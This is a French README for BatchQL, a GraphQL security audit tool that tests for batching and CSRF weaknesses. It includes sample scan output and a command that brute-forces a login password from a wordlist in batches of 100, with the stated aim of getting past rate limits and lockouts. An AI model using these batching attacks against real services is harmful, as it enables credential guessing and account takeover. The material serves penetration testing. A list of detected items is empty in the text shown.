
Script d'audit de sécurité GraphQL avec un accent sur la réalisation de requêtes et mutations GraphQL par lots.
BatchQL est un script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et mutations GraphQL par lots. Ce script n'est pas complexe, et nous accueillons favorablement les améliorations.
En explorant le problème des attaques par lots GraphQL, nous avons constaté qu'il existait quelques articles de blog sur Internet, mais aucun outil pour effectuer ces attaques.
Les attaques par lots GraphQL peuvent être très graves selon les fonctionnalités implémentées. Par exemple, imaginez une fonctionnalité de réinitialisation de mot de passe qui attend un code PIN à 4 chiffres envoyé par e-mail. Avec cet outil, vous pourriez tenter les 10 000 codes PIN en une seule requête GraphQL. Cela pourrait contourner toute limitation de débit ou de verrouillage de compte selon les détails d'implémentation du flux de réinitialisation.
Cet outil est capable de détecter les éléments suivants :
Actuellement, cet outil ne prend en charge que l'envoi de requêtes sous forme de liste JSON pour les attaques par lots. Il prend en charge les scénarios où les variables sont intégrées dans la requête, ou fournies dans l'entrée JSON.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt :mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
La commande ci-dessus effectue les opérations suivantes :
--query acc-login.txt.--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080